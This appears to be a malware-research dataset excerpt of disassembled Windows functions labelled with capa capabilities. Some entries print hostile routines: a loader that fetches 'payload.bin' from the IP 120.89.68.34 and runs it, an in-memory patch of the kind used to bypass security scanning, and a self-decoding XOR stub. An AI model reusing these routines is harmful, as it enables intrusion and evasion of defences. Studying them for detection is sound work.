joyce8/EMBER2024-capa huggingface dataset:
Function at 0x408380
Capabilities:
Contain obfuscated stackstrings

Disassembly:
mov qword [rsp + 0x10], rdx
mov dword [rsp + 8], ecx
push rdi
sub rsp, 0x90
mov rax, qword [0x0040c008]
xor rax, rsp
mov qword [rsp + 0x88], rax
mov qword [rsp + 0x20], 0
mov qword [rsp + 0x78], 0
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x38], 0
lea rax, [rsp + 0x40]
mov rdi, rax
xor eax, eax
mov ecx, 0x10
rep stosb byte [rdi], al
call qword [sym.imp.KERNEL32.dll_FreeConsole]
mov word [rsp + 0x60], 0x57
mov word [rsp + 0x62], 0x69
mov word [rsp + 0x64], 0x6e
mov word [rsp + 0x66], 0x68
mov word [rsp + 0x68], 0x74
mov word [rsp + 0x6a], 0x74
mov word [rsp + 0x6c], 0x70
mov word [rsp + 0x6e], 0x2e
mov word [rsp + 0x70], 0x64
mov word [rsp + 0x72], 0x6c
mov word [rsp + 0x74], 0x6c
mov word [rsp + 0x76], 0
lea rcx, [rsp + 0x60]
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov qword [0x0040dec8], rax
xor r8d, r8d
xor edx, edx
mov ecx, 0x40000
call qword [sym.imp.KERNEL32.dll_HeapCreate]
mov qword [rsp + 0x28], rax
call fcn.00408240
mov qword [rsp + 0x20], rax
mov r8d, 0x118
lea rdx, str.120.89.68.34
mov rcx, qword [rsp + 0x20]
call fcn.00408120
mov qword [rsp + 0x78], rax
lea rdx, str.payload.bin
mov rcx, qword [rsp + 0x78]
call fcn.00407fa0
mov qword [rsp + 0x30], rax
mov rcx, qword [rsp + 0x30]
call fcn.00407e60
mov dword [rsp + 0x80], eax
mov rcx, qword [rsp + 0x30]
call fcn.00407d30
mov dword [rsp + 0x80], eax
lea rcx, [rsp + 0x38]
call fcn.004079a0
mov r8, qword [rsp + 0x30]
lea rdx, [rsp + 0x38]
mov rcx, qword [rsp + 0x28]
call fcn.004077b0
mov qword [rsp + 0x50], rax
mov rcx, qword [rsp + 0x30]
call qword [rsp + 0x48]
mov rcx, qword [rsp + 0x78]
call qword [rsp + 0x48]
mov rcx, qword [rsp + 0x20]
call qword [rsp + 0x48]
call qword [rsp + 0x50]
xor eax, eax
mov rcx, qword [rsp + 0x88]
xor rcx, rsp
call fcn.00401010
add rsp, 0x90
pop rdi
ret
Function at 0x14001509c
Capabilities:
Enumerate pe sections

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
mov qword [rbp + 0x10], rcx
mov qword [rbp + 0x18], rdx
mov rax, qword [rbp + 0x10]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp + 0x10]
add rax, rdx
mov qword [rbp - 0x18], rax
mov dword [rbp - 0xc], 0
mov rax, qword [rbp - 0x18]
movzx eax, word [rax + 0x14]
movzx edx, ax
mov rax, qword [rbp - 0x18]
add rax, rdx
add rax, 0x18
mov qword [rbp - 8], rax
jmp 0x14001511a
mov rax, qword [rbp - 8]
mov eax, dword [rax + 0xc]
mov eax, eax
cmp qword [rbp + 0x18], rax
jb 0x140015111
mov rax, qword [rbp - 8]
mov edx, dword [rax + 0xc]
mov rax, qword [rbp - 8]
mov eax, dword [rax + 8]
add eax, edx
mov eax, eax
cmp qword [rbp + 0x18], rax
jae 0x140015111
mov rax, qword [rbp - 8]
jmp 0x14001512f
add dword [rbp - 0xc], 1
add qword [rbp - 8], 0x28
mov rax, qword [rbp - 0x18]
movzx eax, word [rax + 6]
movzx eax, ax
cmp dword [rbp - 0xc], eax
jb 0x1400150e4
mov eax, 0
add rsp, 0x20
pop rbp
ret

Function at 0x14117b50c
Capabilities:
Encode data using xor

Disassembly:
jmp 0x14117b516
push rax
push rcx
push rdx
push rbx
push rbp
push rsi
push rdi
push r8
push r9
push r10
push r11
push r12
push r13
push r14
push r15
pushfq
sub rsp, 8
stmxcsr dword [rsp]
call 0x14117b53f
pop rbp
sub rbp, 0x33
sub rbp, 0x117b50c
sub rsp, 0x20
jmp 0x14117b55e
mov rax, 0x117b50c
add rax, rbp
add rax, 0x84
mov rcx, 0x60b
mov rdx, 0xffffffffc32883ae
xor byte [rax], dl
inc rax
dec rcx
jne 0x14117b57d
jmp 0x14117b594
out 0x27, al
and eax, 0xaeae9227
scasb al, byte [rdi]
out 0x2f, al
outsd dx, dword [rsi]
cmpsb byte [rsi], byte [rdi]
scasd eax, dword [rdi]
scasb al, byte [rdi]
scasb al, byte [rdi]
out 0xaf, al
out 0x69, al
outsb dx, byte [rsi]
cmpsb byte [rsi], byte [rdi]
scasb al, byte [rdi]
scasb al, byte [rdi]
scasb al, byte [rdi]
out 0x69, al
insb byte [rdi], dx
xchg byte [rsi + 0x59e6aeae], ch
out 0xaf, al
outsd dx, dword [rsi]
and eax, 0xaeaea22f
scasb al, byte [rdi]
out 0xaf, al
invalid
Function at 0x140006dc4
Capabilities:
Terminate thread

Disassembly:
mov qword [rsp + 8], rcx
sub rsp, 0x28
mov rax, qword [rsp + 0x30]
movzx eax, byte [rax + 0x5c]
test eax, eax
je 0x140006ddc
jmp 0x140006e1e
mov rax, qword [rsp + 0x30]
cmp qword [rax + 0xe8], 0
je 0x140006dff
xor edx, edx
mov rax, qword [rsp + 0x30]
mov rcx, qword [rax + 0xe8]
call qword [sym.imp.KERNEL32.dll_TerminateThread]
mov rax, qword [rsp + 0x30]
mov byte [rax + 0x5d], 0
mov rax, qword [rsp + 0x30]
mov byte [rax + 0x5c], 1
mov rax, qword [rsp + 0x30]
mov ecx, dword [rax + 0x58]
call fcn.14005098c
add rsp, 0x28
ret
Function at 0x140009af8
Capabilities:
Terminate process
Terminate thread

Disassembly:
mov qword [rsp + 8], rcx
sub rsp, 0x28
mov rax, qword [rsp + 0x30]
movzx eax, byte [rax + 0x5c]
test eax, eax
je 0x140009b10
jmp 0x140009b58
mov rax, qword [rsp + 0x30]
cmp qword [rax + 0xc8], 0
je 0x140009b35
xor edx, edx
mov rax, qword [rsp + 0x30]
mov rcx, qword [rax + 0xc8]
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
jmp 0x140009b58
xor edx, edx
mov rax, qword [rsp + 0x30]
mov rcx, qword [rax + 0xc0]
call qword [sym.imp.KERNEL32.dll_TerminateThread]
mov dl, 1
mov rax, qword [rsp + 0x30]
mov ecx, dword [rax + 0x58]
call fcn.140050a54
add rsp, 0x28
ret
Function at 0x140011250
Capabilities:
Get common file path

Disassembly:
sub rsp, 0xd48
mov rax, qword [0x140134040]
xor rax, rsp
mov qword [rsp + 0xd30], rax
lea rdx, [0x140137a10]
lea rcx, [rsp + 0x128]
call fcn.14000e304
nop
mov dword [rsp + 0x30], 0x400
lea rcx, [rsp + 0x88]
call fcn.140011544
mov qword [rsp + 0x40], rax
mov rdx, qword [rsp + 0x40]
lea rcx, [0x1401379b0]
call fcn.140006e34
lea rcx, [rsp + 0x88]
call fcn.140003844
lea rdx, [rsp + 0x530]
mov ecx, 0x400
call qword [sym.imp.KERNEL32.dll_GetCurrentDirectoryW]
mov dword [rsp + 0x30], eax
lea rdx, [rsp + 0x530]
lea rcx, [0x140137990]
call fcn.140012328
mov edx, 0x400
lea rcx, [rsp + 0x130]
call fcn.140068e3c
test eax, eax
jne 0x14001151c
lea rdx, [rsp + 0x130]
lea rcx, [0x1401379d0]
call fcn.140012404
lea rcx, [rsp + 0x130]
call fcn.140068ed0
mov qword [rsp + 0x38], rax
lea rdx, [0x1401156dc]
lea rcx, [0x1401379f0]
call fcn.140012404
cmp qword [rsp + 0x38], 0
je 0x14001151c
mov dword [rsp + 0x20], 0
jmp 0x140011354
mov eax, dword [rsp + 0x20]
inc eax
mov dword [rsp + 0x20], eax
mov eax, dword [rsp + 0x20]
mov rcx, qword [rsp + 0x38]
mov rcx, qword [rcx + 0x18]
cmp qword [rcx + rax*8], 0
je 0x14001151c
mov eax, dword [rsp + 0x20]
mov rcx, qword [rsp + 0x38]
mov rcx, qword [rcx + 0x18]
mov rax, qword [rcx + rax*8]
mov qword [rsp + 0x28], rax
cmp dword [rsp + 0x20], 0
jbe 0x14001139c
lea rdx, [0x140115800]
lea rcx, [0x1401379f0]
call fcn.1400123bc
mov eax, 1
imul rax, rax, 0
mov rcx, qword [rsp + 0x28]
movzx eax, byte [rcx + rax]
mov edx, eax
lea rcx, [rsp + 0xa8]
call fcn.140010d84
mov qword [rsp + 0x48], rax
mov rax, qword [rsp + 0x48]
mov qword [rsp + 0x50], rax
mov rdx, qword [rsp + 0x50]
lea rcx, [0x1401379f0]
call fcn.1400123e0
nop
lea rcx, [rsp + 0xa8]
call fcn.14000389c
lea rdx, [0x1401157fc]
lea rcx, [0x1401379f0]
call fcn.1400123bc
mov eax, 1
imul rax, rax, 1
mov rcx, qword [rsp + 0x28]
movzx eax, byte [rcx + rax]
mov edx, eax
lea rcx, [rsp + 0xc8]
call fcn.140010d84
mov qword [rsp + 0x58], rax
mov rax, qword [rsp + 0x58]
mov qword [rsp + 0x60], rax
mov rdx, qword [rsp + 0x60]
lea rcx, [0x1401379f0]
call fcn.1400123e0
nop
lea rcx, [rsp + 0xc8]
call fcn.14000389c
lea rdx, [0x140115808]
lea rcx, [0x1401379f0]
call fcn.1400123bc
mov eax, 1
imul rax, rax, 2
mov rcx, qword [rsp + 0x28]
movzx eax, byte [rcx + rax]
mov edx, eax
lea rcx, [rsp + 0xe8]
call fcn.140010d84
mov qword [rsp + 0x68], rax
mov rax, qword [rsp + 0x68]
mov qword [rsp + 0x70], rax
mov rdx, qword [rsp + 0x70]
lea rcx, [0x1401379f0]
call fcn.1400123e0
nop
lea rcx, [rsp + 0xe8]
call fcn.14000389c
lea rdx, [0x140115804]
lea rcx, [0x1401379f0]
call fcn.1400123bc
mov eax, 1
imul rax, rax, 3
mov rcx, qword [rsp + 0x28]
movzx eax, byte [rcx + rax]
mov edx, eax
lea rcx, [rsp + 0x108]
call fcn.140010d84
mov qword [rsp + 0x78], rax
mov rax, qword [rsp + 0x78]
mov qword [rsp + 0x80], rax
mov rdx, qword [rsp + 0x80]
lea rcx, [0x1401379f0]
call fcn.1400123e0
nop
lea rcx, [rsp + 0x108]
call fcn.14000389c
jmp 0x14001134a
lea rcx, [rsp + 0x128]
call fcn.14000e2e8
mov rcx, qword [rsp + 0xd30]
xor rcx, rsp
call fcn.1400d9310
add rsp, 0xd48
ret
Function at 0x14005acc0
Capabilities:
Allocate or change rwx memory

Disassembly:
sub rsp, 0x48
mov rax, qword [0x140134040]
xor rax, rsp
mov qword [rsp + 0x38], rax
lea rcx, [0x14011a330]
call fcn.14005d03c
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov qword [rsp + 0x28], rax
cmp qword [rsp + 0x28], 0
jne 0x14005acfa
jmp 0x14005add0
lea rcx, [0x14011a340]
call fcn.14005d03c
mov rdx, rax
mov rcx, qword [rsp + 0x28]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x20], 0
jne 0x14005ad26
jmp 0x14005add0
lea r9, [rsp + 0x30]
mov r8d, 0x40
mov edx, 0x1000
mov rcx, qword [rsp + 0x20]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x14005ad4a
jmp 0x14005add0
mov eax, 1
imul rax, rax, 0
mov rcx, qword [rsp + 0x20]
mov byte [rcx + rax], 0xb8
mov eax, 1
imul rax, rax, 1
mov rcx, qword [rsp + 0x20]
mov byte [rcx + rax], 0x57
mov eax, 1
imul rax, rax, 2
mov rcx, qword [rsp + 0x20]
mov byte [rcx + rax], 0
mov eax, 1
imul rax, rax, 3
mov rcx, qword [rsp + 0x20]
mov byte [rcx + rax], 7
mov eax, 1
imul rax, rax, 4
mov rcx, qword [rsp + 0x20]
mov byte [rcx + rax], 0x80
mov eax, 1
imul rax, rax, 5
mov rcx, qword [rsp + 0x20]
mov byte [rcx + rax], 0xc3
lea r9, [rsp + 0x30]
mov r8d, dword [rsp + 0x30]
mov edx, 0x1000
mov rcx, qword [rsp + 0x20]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov rcx, qword [rsp + 0x38]
xor rcx, rsp
call fcn.1400d9310
add rsp, 0x48
ret
Function at 0x14006c454
Capabilities:
Read file on windows

Disassembly:
mov dword [rsp + 0x18], r8d
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
sub rsp, 0x48
mov rax, qword [0x140134040]
xor rax, rsp
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x20], 0
lea r9, [rsp + 0x30]
mov r8d, dword [rsp + 0x60]
mov rdx, qword [rsp + 0x58]
mov rax, qword [rsp + 0x50]
mov rcx, qword [rax]
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
jne 0x14006c4a4
xor eax, eax
jmp 0x14006c4a8
mov eax, dword [rsp + 0x30]
mov rcx, qword [rsp + 0x38]
xor rcx, rsp
call fcn.1400d9310
add rsp, 0x48
ret

Function at 0x14006c4bc
Capabilities:
Write file on windows

Disassembly:
mov dword [rsp + 0x18], r8d
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
sub rsp, 0x48
mov rax, qword [0x140134040]
xor rax, rsp
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x20], 0
lea r9, [rsp + 0x30]
mov r8d, dword [rsp + 0x60]
mov rdx, qword [rsp + 0x58]
mov rax, qword [rsp + 0x50]
mov rcx, qword [rax]
call qword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
jne 0x14006c50c
xor al, al
jmp 0x14006c52a
mov eax, dword [rsp + 0x60]
cmp dword [rsp + 0x30], eax
je 0x14006c51a
xor al, al
jmp 0x14006c52a
mov rax, qword [rsp + 0x50]
mov rcx, qword [rax]
call qword [sym.imp.KERNEL32.dll_FlushFileBuffers]
mov al, 1
mov rcx, qword [rsp + 0x38]
xor rcx, rsp
call fcn.1400d9310
add rsp, 0x48
ret
Function at 0x14006ee78
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov qword [rsp + 8], rcx
sub rsp, 0x58
lea r8, [0x14011cab0]
mov edx, 0x68
mov rcx, qword [0x140137988]
call qword [sym.imp.KERNEL32.dll_FindResourceW]
mov qword [rsp + 0x28], rax
cmp qword [rsp + 0x28], 0
jne 0x14006eeae
xor eax, eax
jmp 0x14006efce
mov rdx, qword [rsp + 0x28]
mov rcx, qword [0x140137988]
call qword [sym.imp.KERNEL32.dll_LoadResource]
mov qword [rsp + 0x38], rax
cmp qword [rsp + 0x38], 0
jne 0x14006eed4
xor eax, eax
jmp 0x14006efce
mov rcx, qword [rsp + 0x38]
call qword [sym.imp.KERNEL32.dll_LockResource]
mov qword [rsp + 0x30], rax
cmp qword [rsp + 0x30], 0
jne 0x14006eef3
xor eax, eax
jmp 0x14006efce
mov rdx, qword [rsp + 0x28]
mov rcx, qword [0x140137988]
call qword [sym.imp.KERNEL32.dll_SizeofResource]
mov rcx, qword [rsp + 0x60]
mov dword [rcx], eax
xor edx, edx
mov rax, qword [rsp + 0x60]
mov eax, dword [rax]
mov ecx, 2
div ecx
mov eax, eax
mov ecx, eax
call fcn.1400d93a0
mov qword [rsp + 0x48], rax
mov rax, qword [rsp + 0x48]
mov qword [rsp + 0x40], rax
mov dword [rsp + 0x24], 0
jmp 0x14006ef49
mov eax, dword [rsp + 0x24]
add eax, 2
mov dword [rsp + 0x24], eax
mov rax, qword [rsp + 0x60]
mov eax, dword [rax]
cmp dword [rsp + 0x24], eax
jae 0x14006efb2
mov eax, dword [rsp + 0x24]
mov rcx, qword [rsp + 0x30]
movzx eax, byte [rcx + rax]
sub eax, 0x41
mov byte [rsp + 0x20], al
mov eax, dword [rsp + 0x24]
inc eax
mov eax, eax
mov rcx, qword [rsp + 0x30]
movzx eax, byte [rcx + rax]
sub eax, 0x41
mov byte [rsp + 0x21], al
movzx eax, byte [rsp + 0x20]
shl eax, 4
movzx ecx, byte [rsp + 0x21]
or eax, ecx
mov byte [rsp + 0x22], al
xor edx, edx
mov eax, dword [rsp + 0x24]
mov ecx, 2
div ecx
mov eax, eax
mov rcx, qword [rsp + 0x40]
mov dl, byte [rsp + 0x22]
mov byte [rcx + rax], dl
jmp 0x14006ef3e
xor edx, edx
mov rax, qword [rsp + 0x60]
mov eax, dword [rax]
mov ecx, 2
div ecx
mov rcx, qword [rsp + 0x60]
mov dword [rcx], eax
mov rax, qword [rsp + 0x40]
add rsp, 0x58
ret

Function at 0x14006f528
Capabilities:
Terminate thread

Disassembly:
mov qword [rsp + 8], rcx
sub rsp, 0x28
xor edx, edx
mov rax, qword [rsp + 0x30]
mov rcx, qword [rax + 0x28]
call qword [sym.imp.KERNEL32.dll_TerminateThread]
add rsp, 0x28
ret
Function at 0x1400d82c0
Capabilities:
Read file on windows

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x20
mov rbp, r8
mov r14, rdx
mov rdi, rcx
test r8, r8
jg 0x1400d82ee
xor eax, eax
jmp 0x1400d83d4
cmp qword [rcx + 0x68], 0
je 0x1400d82ff
call fcn.140058198
jmp 0x1400d83d4
mov rax, qword [rcx + 0x38]
mov rsi, rbp
mov rdx, qword [rax]
test rdx, rdx
je 0x1400d8316
mov rax, qword [rcx + 0x50]
mov ecx, dword [rax]
jmp 0x1400d8318
xor ecx, ecx
movsxd rax, ecx
test ecx, ecx
je 0x1400d834a
cmp rax, rbp
mov rbx, rbp
mov rcx, r14
cmovb rbx, rax
mov r8, rbx
call fcn.1400fe020
mov rax, qword [rdi + 0x50]
add r14, rbx
sub rsi, rbx
sub dword [rax], ebx
mov rcx, qword [rdi + 0x38]
movsxd rax, ebx
add qword [rcx], rax
cmp qword [rdi + 0x80], 0
je 0x1400d83ce
mov r8, qword [rdi + 0x18]
lea rax, [rdi + 0x70]
cmp qword [r8], rax
jne 0x1400d8381
mov rcx, qword [rdi + 0x88]
mov rdx, qword [rdi + 0x90]
mov qword [r8], rcx
sub edx, ecx
mov rax, qword [rdi + 0x38]
mov qword [rax], rcx
mov rax, qword [rdi + 0x50]
mov dword [rax], edx
mov ebx, 0xfff
jmp 0x1400d83aa
mov r9, qword [rdi + 0x80]
mov r8, rbx
mov edx, 1
mov rcx, r14
call fcn.1400e9970
add r14, rax
sub rsi, rax
cmp rax, rbx
jne 0x1400d83ce
cmp rsi, rbx
ja 0x1400d8388
test rsi, rsi
je 0x1400d83ce
mov r9, qword [rdi + 0x80]
mov r8, rsi
mov edx, 1
mov rcx, r14
call fcn.1400e9970
sub rsi, rax
sub rbp, rsi
mov rax, rbp
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
mov rdi, qword [rsp + 0x48]
add rsp, 0x20
pop r14
ret

Function at 0x1400d9fc8
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x1400da012
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x1400da012
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x1400da012
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x1400da012
cmp dword [rcx + 0x84], 0xe
jbe 0x1400da012
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x1400da014
xor al, al
add rsp, 0x28
ret
Function at 0x1400e002c
Capabilities:
Get common file path

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x20
mov rdx, qword [rcx + 0x10]
mov rbx, rcx
mov ecx, dword [rcx + 0x18]
call qword [sym.imp.KERNEL32.dll_GetCurrentDirectoryW]
mov edi, eax
test eax, eax
jne 0x1400e0067
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, eax
call fcn.1400eadcc
call fcn.1400eae58
mov eax, dword [rax]
jmp 0x1400e00de
cmp rdi, qword [rbx + 0x18]
ja 0x1400e0073
mov qword [rbx + 0x20], rdi
jmp 0x1400e00dc
cmp byte [rbx + 0x28], 0
lea rsi, [rdi + 1]
je 0x1400e008a
mov rcx, qword [rbx + 0x10]
call fcn.1400ee23c
mov byte [rbx + 0x28], 0
lea rcx, [rdi*2 + 2]
call fcn.1400ee278
mov qword [rbx + 0x10], rax
mov r8, rax
neg rax
mov edx, 0
sbb eax, eax
not eax
and eax, 0xc
cmove rdx, rsi
test eax, eax
sete cl
mov byte [rbx + 0x28], cl
mov qword [rbx + 0x18], rdx
test eax, eax
jne 0x1400e00de
mov ecx, dword [rbx + 0x18]
mov rdx, r8
call qword [sym.imp.KERNEL32.dll_GetCurrentDirectoryW]
mov eax, eax
test rax, rax
je 0x1400e0051
mov qword [rbx + 0x20], rax
xor eax, eax
mov rbx, qword [rsp + 0x30]
mov rsi, qword [rsp + 0x38]
add rsp, 0x20
pop rdi
ret

Function at 0x1400e0e4c
Capabilities:
Create thread

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x20], rsi
push rdi
sub rsp, 0x30
xor edi, edi
mov esi, edx
mov rbp, rcx
test r8, r8
jne 0x1400e0e83
call fcn.1400eae58
mov dword [rax], SafeArrayCopy
call fcn.1400e06d4
xor eax, eax
jmp 0x1400e0f11
mov rdx, r9
mov rcx, r8
call fcn.1400e0de8
mov rbx, rax
test rax, rax
je 0x1400e0f0e
lea rax, [rsp + 0x50]
mov rdx, rsi
mov qword [rsp + 0x28], rax
lea r8, [0x1400e0d14]
mov eax, dword [rsp + 0x60]
mov r9, rbx
mov rcx, rbp
mov dword [rsp + 0x20], eax
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov rdx, rax
test rax, rax
jne 0x1400e0efb
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, eax
call fcn.1400eadcc
mov rcx, qword [rbx + 0x10]
test rcx, rcx
je 0x1400e0ee2
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbx + 0x18]
test rcx, rcx
je 0x1400e0ef1
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
mov rcx, rbx
call fcn.1400ee23c
jmp 0x1400e0f0e
mov rcx, qword [rsp + 0x68]
test rcx, rcx
je 0x1400e0f0b
mov eax, dword [rsp + 0x50]
mov dword [rcx], eax
mov rdi, rdx
mov rax, rdi
mov rbx, qword [rsp + 0x40]
mov rbp, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x58]
add rsp, 0x30
pop rdi
ret
Function at 0x1400e8c60
Capabilities:
Parse pe header

Disassembly:
mov dword [rsp + 0x18], r8d
mov dword [rsp + 0x10], edx
push rbp
mov rbp, rsp
sub rsp, 0x50
mov qword [rbp - 0x20], 0xfffffffffffffffe
mov qword [rsp + 0x60], rbx
mov ebx, ecx
test r8d, r8d
jne 0x1400e8acb
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x1400e8acb
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x1400e8acb
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x1400e8acb
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x1400e8acb
cmp dword [rcx + 0x84], 0xe
jbe 0x1400e8acb
cmp dword [rcx + 0xf8], 0
je 0x1400e8acb
mov ecx, ebx
call fcn.1400e8b7c
mov byte [rbp + 0x28], 0
lea rax, [rbp + 0x18]
mov qword [rbp - 0x18], rax
lea rax, [rbp + 0x20]
mov qword [rbp - 0x10], rax
lea rax, [rbp + 0x28]
mov qword [rbp - 8], rax
mov eax, 2
mov dword [rbp - 0x2c], eax
mov dword [rbp - 0x28], eax
lea r9, [rbp - 0x2c]
lea r8, [rbp - 0x18]
lea rdx, [rbp - 0x28]
lea rcx, [rbp - 0x30]
call fcn.1400e8958
nop
cmp dword [rbp + 0x20], 0
je 0x1400e8b19
mov rbx, qword [rsp + 0x60]
add rsp, 0x50
pop rbp
ret
mov ecx, ebx
call fcn.1400e8b24
int3
xor r8d, r8d
xor edx, edx
jmp 0x1400e8a5c

Function at 0x1400ef718
Capabilities:
Get disk information

Disassembly:
push rbx
sub rsp, 0x30
mov rax, qword [0x140134040]
xor rax, rsp
mov qword [rsp + 0x28], rax
cmp ecx, 0x1a
jbe 0x1400ef762
call fcn.1400eae38
mov dword [rax], reloc.OLEAUT32.dll_SafeArrayDestroy
call fcn.1400eae58
mov dword [rax], SafeArrayGetDim
call fcn.1400e06d4
xor eax, eax
mov rcx, qword [rsp + 0x28]
xor rcx, rsp
call fcn.1400d9310
add rsp, 0x30
pop rbx
ret
xor ebx, ebx
test ecx, ecx
jne 0x1400ef76d
lea eax, [rbx + 1]
jmp 0x1400ef74f
add cx, 0x40
mov dword [rsp + 0x22], 0x5c003a
mov word [rsp + 0x20], cx
lea rcx, [rsp + 0x20]
mov word [rsp + 0x26], bx
call qword [sym.imp.KERNEL32.dll_GetDriveTypeW]
test eax, eax
je 0x1400ef74d
cmp eax, 1
setne bl
mov eax, ebx
jmp 0x1400ef74f
Function at 0x1400f275c
Capabilities:
Get file size

Disassembly:
push rbx
sub rsp, 0x20
mov edx, dword [rcx + 0x14]
nop
shr edx, 3
test dl, 1
je 0x1400f2772
mov al, 1
jmp 0x1400f27d2
mov eax, dword [rcx + 0x14]
nop
test al, 0xc0
je 0x1400f2783
mov rax, qword [rcx + 8]
cmp qword [rcx], rax
je 0x1400f27d0
mov ecx, dword [rcx + 0x18]
nop
call fcn.1400f73d4
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x1400f27d0
mov r9d, 1
lea r8, [rsp + 0x38]
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
test eax, eax
je 0x1400f27d0
lea rdx, [rsp + 0x30]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
test eax, eax
je 0x1400f27d0
mov rax, qword [rsp + 0x30]
cmp qword [rsp + 0x38], rax
sete al
jmp 0x1400f27d2
xor al, al
add rsp, 0x20
pop rbx
ret

Function at 0x1400f35b0
Capabilities:
Read file on windows

Disassembly:
mov qword [rsp + 8], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
mov eax, 0x1050
call fcn.1400d9c00
sub rsp, rax
mov rax, qword [0x140134040]
xor rax, rsp
mov qword [rsp + 0x1040], rax
mov r15, r8
mov rbp, rdx
mov rbx, rcx
call fcn.1400f0a60
xor edi, edi
movsxd r14, eax
cmp dword [rbx + 0x10], edi
jne 0x1400f35ff
mov rax, rbp
jmp 0x1400f3707
mov rax, qword [rbx]
mov rcx, r14
sub rax, qword [rbx + 8]
and ecx, 0x3f
cqo
mov rbx, r14
sub rax, rdx
sar rbx, 6
sar rax, 1
mov r9, r15
lea r12, [rcx + rcx*8]
mov rsi, rax
lea rax, [0x140000000]
xor r8d, r8d
mov rdx, qword [rax + rbx*8 + 0x137370]
mov ecx, r14d
mov rdx, qword [rdx + r12*8 + 0x30]
call fcn.1400f4490
mov r13, rax
lea rax, [0x140000000]
mov rcx, qword [rax + rbx*8 + 0x137370]
cmp r13, qword [rcx + r12*8 + 0x30]
jne 0x1400f3703
mov rcx, qword [rcx + r12*8 + 0x28]
lea r9, [rsp + 0x30]
mov r8d, 0x1000
mov qword [rsp + 0x20], rdi
lea rdx, [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x1400f3703
mov r9, r15
xor r8d, r8d
mov rdx, rbp
mov ecx, r14d
call fcn.1400f4490
test rax, rax
js 0x1400f3703
mov eax, dword [rsp + 0x30]
cmp rsi, rax
jg 0x1400f3703
lea rdx, [rsp + 0x40]
add rdx, rax
lea rcx, [rsp + 0x40]
test rsi, rsi
je 0x1400f36f5
lea r8, [0x140000000]
cmp rcx, rdx
jae 0x1400f36f5
cmp byte [rcx], 0xd
jne 0x1400f36db
lea rax, [rdx - 1]
cmp rcx, rax
jae 0x1400f36ea
cmp byte [rcx + 1], 0xa
jne 0x1400f36ea
inc rcx
jmp 0x1400f36ea
movzx eax, byte [rcx]
movsx rax, byte [rax + r8 + 0x134480]
add rcx, rax
inc rdi
inc rcx
cmp rdi, rsi
jne 0x1400f36bd
lea rax, [rsp + 0x40]
sub rcx, rax
lea rax, [rcx + r13]
jmp 0x1400f3707
or rax, 0xffffffffffffffff
mov rcx, qword [rsp + 0x1040]
xor rcx, rsp
call fcn.1400d9310
mov rbx, qword [rsp + 0x1090]
add rsp, 0x1050
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret